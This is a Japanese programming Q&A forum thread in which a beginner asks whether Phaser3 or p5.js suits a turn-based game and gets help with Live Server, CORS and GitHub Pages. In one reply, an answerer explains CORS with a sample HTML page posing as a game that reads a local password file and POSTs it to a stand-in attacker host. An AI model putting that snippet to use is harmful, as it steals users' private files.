0
2
実現したいこと
JavaScriptでゲームを作りたい
ここに質問の内容を詳しく書いてください。
phaser3はどうですか？p5とではどっちが良いですか
他に良いのありますか？
回答20件
#1
総合スコア146018
投稿2024/09/13 02:01
もう少し背景やzawberさんの考えをご提示いただけないでしょうか。
- どのようなゲームを作りたいか
- ライブラリの選定にあたってどのような点を重視しているか（あるいは、phaser3をいいと感じた点はどのようなものか）
#2
そうですね。動的なものではなくてrpgとかモノポリーとかSlay the Spireみたいなゲームです。
何枚もの絵でキャラクターに動きを付けるのに惹かれました。
#3
総合スコア146
投稿2024/09/13 14:25
私はPhaserは触ったことあるのですが、p5.jsは使ったことなかったので少し調べてみました。
「ゲームを作りたい」、ということであればPhaserを使ったほうがコードは簡単に書けるかと思います。
Phaserの場合、ゲーム作成用に特化しているため複雑なコードを書かなくてもゲーム作成に役立つ処理は比較的簡潔に書けるようAPIが用意されています。
例えば、衝突判定ではp5.jsではこのようにオブジェクトの座標から衝突したかどうかの計算処理を実装しないといけないそうですが、
https://qiita.com/Snowman-s/items/c0afe37d7cbe0f282938#8-%E5%BC%BE%E3%81%8C%E5%BD%93%E3%81%9F%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%A9%E3%81%86%E3%81%8B%E3%81%AE%E5%87%A6%E7%90%86%E3%82%92%E8%A1%8C%E3%81%86
Phaserの場合物理エンジンが標準で搭載されているため、このようなイベント処理を書くだけで実装できます。
javascript
1this.physics.world.on('collide', (オブジェクト１, オブジェクト2) => { 2 //衝突時処理 3}
のように直感的に書くことができます。
また、シーン機能というものもあり、画面遷移もp5.jsよりも簡潔に実装できます。
以上の理由からゲーム制作という面に置いてはp5.jsよりもPhaserのほうに軍配が上がるかと思います。
難点としてはPhaserは日本語の情報は少なめですが、ドキュメントも簡単な英語しかないので中学レベルの英語力+エンジニア関係の単語がある程度わかればなんとなくで行けるかと思います。
また私はPhaserはある程度わかるのでご気軽に質問して頂ければ答えられる範囲で答えますよ。
#4
よさげですね。
とりあえずhttps://tech.e3factory.com/programming/1930
でやってみようかと思います。
サーバーはよく分からないのでCDNでも大丈夫ですか？
実行はVSCodeの実行で良いですか？
何か要るものはありますか？
#5
総合スコア146
投稿2024/09/14 01:18
CDNを使用したとしても、アセット読み込み時のCORS問題回避のためにサーバーは立ち上げる必要がありますね。
とはいえ別に難しくはないです。
VSCodeをお使いなら、Live Serverという拡張機能を使うのが手っ取り早いと思います。
対象のディレクトリをVSCodeで開いた状態で右下のGo Liveというボタンを押せばローカルサーバーが立ち上げれます。
とりあえずは質問者さんが見つけられたそちらのサイトに沿って学習を進めていただいて問題ありません。その上で他にもわからないことがあれば気兼ねなく質問してください。
ちなみに、今後より高度なものを作りたいと思ったときタイトル画面、ゲーム画面、クリア画面などの、複数の画面を切り替えたいと思うようになると思います。
初心者の方だとそこが結構最初の鬼門になるので、簡単に複数シーンの操作ができるようにテンプレートを作成しましたのでご活用ください。
https://github.com/FoxRefire/Phaser-MultiSceneQuickStartTemplate
#6
Live Serverやってみました。今はやっているcanvasの画面が出ました。サーバーマシンが要るのかと思った。実行環境としてGo Liveを使うという理解で良いですか？VSCodeを使わずｈｔｍｌで直接実行出来ますか？
ｈｔｍｌのページ切替は試しにやったことあります。将来的にはページ切替は必要でしょうね。ありがとうございます。
#7
総合スコア146
投稿2024/09/14 04:17
サーバーマシンが要るのかと思った。実行環境としてGo Liveを使うという理解で良いですか？
サーバーも本質的にはサーバー用のソフトが入ったパソコンです。
Live ServerというVSCodeの拡張機能がその役割をもったソフトです。
このLive Serverは実験用にサーバー上での動作を一時的にテストするためのものなので実際に自宅サーバーとして本番環境を構築するならApacheとかNginxとかの専用のサーバーソフトウェアを使いますね。
まあ、このあたりは結構つまらない分野なんで特に興味がないなら知らなくても大丈夫です。まあ興味があるならここで聞いたら誰か答えてくれると思いますが。
作ったものを公開したいときは適当なレンタルサーバーを借りてそこに載せるのが手っ取り早いかと思います。
個人レベルであればgithub.io、netlify、XREA、Infinityfreeみたいな無料のやつで十分です。
VSCodeを使わずｈｔｍｌで直接実行出来ますか？
前述したように、アセット読み込み時にCORSによる問題が発生するためできません。
CORSというのはブラウジング時にユーザーのセキュリティを保護するためのブラウザの機能です。
例えば次のようなコードを例にどんな問題が起こりうるか考えてみましょう。
html
1<html> 2<!-- 神ゲーです！拡張子「.html」で保存して開いたら遊べるよ！！！！！！ --> 3<!-- 嘘です --> 4<script type="module"> 5let stealedData = await fetch("C:/users/hoge/Documents/パスワードメモ.txt").then(res => res.text) 6 7await fetch("https://cracker.xxx/stealUserDocument", { 8 method: 'POST', 9 body: stealedData 10}) 11</script> 12</html>
上記の例のようにfetchやXHRで動的にローカルファイルを取得することを許可してしまえばこのようにユーザーデータを不正に取得されてしまうことに繋がりかねません。
また正規ドメインのiframeを偽サイトに埋め込みそのフレームの内容を偽サイト側が取得したりといったこともCORSなどのブラウザのセキュリティ機能のおかげで防止することができます。
Phaserもゲームアセットの読み込み時にfetchを利用しているためhtmlを直接開いては読み込みがCORSによって阻害されるので正しく動作しません。
作成したゲームを公開したい場合、ウェブサーバーにアップロードするか、ローカルで実行させたい場合ElectronやCordovaなどにラップしてやる必要があります。
#8
公開するなどいう事があるかは分かりませんがGitHubのアカウントがあるので
https://pages.github.com/
が良いかもしれないですね。このページでいう10までいけば自分のサーバーいうか領域が出来るんですか？カッコよですね。Xのアカウント位しかないわ。無料でしょうか？
#9
総合スコア146
投稿2024/09/14 05:30
無料で使えますよ。
GithubのリポジトリにPushしてから、Settings-->Pagesから公開したいブランチを選択するだけです。
#10
Select branchに何を入れますか？
Ｎｏｎｅしかないです。
#11
総合スコア146
投稿2024/09/14 06:21
まず公開したいコードをGithub上にPushする必要があります。
Gitコマンドを使ったことがないならGithub Desktopを使えば簡単だと思います。
既にリポジトリを作成したなら、Github DesktopでログインしてからFile-->Clone repositoryからリポジトリをCloneして、できたフォルダの中に公開したいコードを入れます。
Github Desktop上に変更が表示されているはずなので、左下のCommit to mainっていうボタンを押してから、右上のPublish branchというボタンを押せばいいです。
これでブランチが追加されてgithub.ioに公開できるようになるはずです。
#12
コードを載せてみましたが合ってます？実行はどうやったら良いですか？
https://github.com/zawber/zawber.github.io
送っても安全かな？
コードの所にあったけどクローンはどうしましょう？
GitHubデスクトップはまだ無いです。
#13
総合スコア146
投稿2024/09/14 13:18
下のDeploymentsってとこから公開されているリンクが見れます。
今回の場合だと、https://zawber.github.io/jankenGame.html ですね
#14
分かりました。
コードは動かせますか？
#15
総合スコア146
投稿2024/09/14 23:54
同様にPhaserのコードをGithubのリポジトリに入れればGithub pagesでそのまま実行できますよ。
#16
今投稿しているものでも出来ますか？
ちょっと分からないです。
#17
総合スコア146
投稿2024/09/15 01:53
「今投稿しているもの」とはなんのことですか？
Phaserで作成したゲームのことなら、同じようにhtml、jsファイルとアセット一式をGithubのリポジトリの中に入れて公開されたURLを開くだけでLive Server拡張で実行したときと同じようにそのまま動くはずです。
ローカルで直接htmlファイルをクリックした場合と違い、ウェブサーバーから実行したときは同一オリジン内ならCORSによるアセット読み込みの問題が起きないからです。
#18
ここまでは合ってます？
こちらにもLive sarverを入れますか？
#19
総合スコア146
投稿2024/09/15 04:00
それの場合、動的なアセット読み込みを行っていないので別にLive serverから実行しなくてもローカルで直接htmlファイルをクリックしても動作します。
次のように動的にファイルを読み込もうとすると、直接htmlファイルをクリックしては正しく動作しません。
index.html
html
1<html> 2<div id="result"></div> 3<script type="module"> 4let data = await fetch("./test.txt").then(res => res.text()) 5document.getElementById("result").innerText = data 6</script> 7</html>
test.txt
plaintext
1ほげほげ
上記の実行結果をLive Serverから実行した場合と、htmlファイルを直接クリックして実行した場合で比べてみてください。
なぜこのようなことが起きるのかは#7で説明したとおりです。
Phaserはアセットの読み込みを動的に行っていますから、単にHTMLファイルをクリックしただけでは正しく動作しません。
#20
先程送ったスクリーンショットの選択肢はどれにしたら良いですか？
2番目のはGitのインストールを求められます。
なおLivesarverは、ここには入れられないようです。
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。